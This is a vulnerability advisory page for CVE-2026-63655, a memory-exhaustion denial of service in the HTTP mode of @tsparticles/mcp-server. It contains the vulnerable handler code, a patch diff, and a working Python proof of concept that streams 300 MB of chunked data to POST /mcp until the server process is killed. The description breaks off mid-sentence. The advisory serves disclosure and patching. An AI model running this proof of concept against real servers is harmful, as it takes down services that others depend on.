Skip to main content
VulnerabilityPublished

CVE-2026-63655: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server Leads to Remote DoS

Affects @tsparticles/mcp-serverSource GCVE Database

0
Compare
Authoritative record:CVE-2026-63655· High 7.5

Not known to be exploited · CVSS 7.5 High : upgrade to 4.3.1 soon.

Data as of 9 Nov 2026, 23:24 UTC

CVSS 3.1 base score
7.5High
How severe the flaw is on the 0–10 CVSS scale.

Thin evidence

One scorer or none
CVSS scores by source
CNA (GitHub_M)CVSS 3.17.5
EPSS
0.4% chance of exploitation in 30 days – higher than 37% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch
Available – fixed in 4.3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 4 Nov 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 9 Nov 2026.

What to do

Upgrade @tsparticles/mcp-server to 4.3.1.

Affected software

ProductAffectedFixed in
npm@tsparticles/mcp-serverAffected
  • <4.3.1
Fixed in
  • 4.3.1

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary The HTTP server mode of `@tsparticles/mcp-server` accumulates all incoming request body chunks into an in-memory `Buffer[]` array with no size limit before calling `JSON.parse`. An unauthenticated remote attacker can stream an arbitrarily large body to `POST /mcp`, exhausting the Node.js process memory and causing a Denial of Service. The official Docker image ships with HTTP mode enabled by default (`--port 3000` on `0.0.0.0`), making this exploitable without any special configuration in containerized deployments. ### Details The vulnerability exists in `integrations/mcp-server/src/index.ts` at lines 399–407. The `POST /mcp` request handler resolves a `Promise` that pushes every incoming data chunk into a `Buffer[]` array without checking the cumulative size, a `Content-Length` header, or any other guard: ```ts // integrations/mcp-server/src/index.ts:399-407 if (req.method === "POST" && req.url === "/mcp") { const body = await new Promise<string>((resolve, reject) => { const chunks: Buffer[] = []; req.on("data", (chunk) => chunks.push(Buffer.from(chunk))); // no size guard req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8"))); req.on("error", reject); }); const parsedBody = body ? JSON.parse(body) : undefined; ``` The complete data flow leading to exploitation: 1. `index.ts:390` — HTTP server is created. 2. `index.ts:399` — `POST /mcp` branch is entered; no authentication is performed. 3. `index.ts:401-403` — Every chunk is appended to `chunks[]` without any byte-count check. 4. `index.ts:407` — The concatenated buffer is passed to `JSON.parse`. 5. `index.ts:416` — The server listens on `0.0.0.0`, exposing it on all network interfaces. There is no `Content-Length` validation, no body-size middleware, and no `413 Payload Too Large` response in the server source. The official `Dockerfile` (`integrations/mcp-server/Dockerfile`) sets `CMD ["node", "dist/index.js", "--port", "3000"]`, meaning Docker deployments run in HTTP mode by default without any additional opt-in. A suggested patch would be to track cumulative received bytes and destroy the request once a threshold (e.g., 1 MB) is exceeded: ```diff --- a/integrations/mcp-server/src/index.ts +++ b/integrations/mcp-server/src/index.ts @@ import { createServer } from "node:http"; import { randomUUID } from "node:crypto"; const PACKAGE_VERSION = "0.1.0"; +const maxRequestBodyBytes = 1024 * 1024; @@ if (req.method === "POST" && req.url === "/mcp") { const body = await new Promise<string>((resolve, reject) => { const chunks: Buffer[] = []; - req.on("data", (chunk) => chunks.push(Buffer.from(chunk))); + let received = 0; + req.on("data", (chunk) => { + received += chunk.length; + if (received > maxRequestBodyBytes) { + req.destroy(new Error("Request body too large")); + return; + } + chunks.push(Buffer.from(chunk)); + }); req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8"))); req.on("error", reject); }); ``` ### PoC **Environment setup:** ```bash # Build the Docker image from the repository root docker build \ -f /path/to/vuln-001/Dockerfile \ -t vuln001-mcp \ /path/to/tsparticles-repo # Run with a 256 MB memory cap (matching the dynamic reproduction) docker run -d \ -p 127.0.0.1:3000:3000 \ --memory=256m --memory-swap=256m \ --name vuln001-mcp \ vuln001-mcp ``` **Exploit (Python PoC — `poc.py`):** The script uses chunked transfer encoding so only O(1 MB) of Python-side memory is needed, while the Node.js process accumulates every received chunk in its `Buffer[]` array. ```bash python3 poc.py --host 127.0.0.1 --port 3000 --mb 300 --container vuln001-mcp ``` Equivalent minimal request: ```python import socket s = socket.create_connection(("127.0.0.1", 3000)) headers = ( "POST /mcp HTTP/1.1\r\n" "Host: 127.0.0.1:3000\r\n" "Content-Type: application/json\r\n" "Transfer-Encoding: chunked\r\n" "Connection: close\r\n\r\n" ).encode() s.sendall(headers) prefix = b'{"jsonrpc":"2.0","id":1,"method":"tools/list","params":"' s.sendall(f"{len(prefix):x}\r\n".encode() + prefix + b"\r\n") chunk = b"A" * (1024 * 1024) # 1 MB per write for _ in range(300): # stream 300 MB total s.sendall(f"{len(chunk):x}\r\n".encode() + chunk + b"\r\n") ``` **Expected result:** - Baseline memory usage: ~24.9 MiB / 256 MiB. - After ~209 MB received, the server-side `BrokenPipeError` occurs as Docker's OOM-killer terminates the process. - `docker inspect vuln001-mcp` shows `State.OOMKilled = true` and `State.Status = exited`. **Dynamic reproduction confirmed:** OOMKilled=true was observed during Phase 2 testing with a 300 MB stream against a container limited to 256 MB. ### Impact An unauthenticated remote attacker who can reach the `POST /mcp` HTTP endpoint can cause the Node.js server process to consume unbounded memory, lea

References

Community reviews

Loading reviews…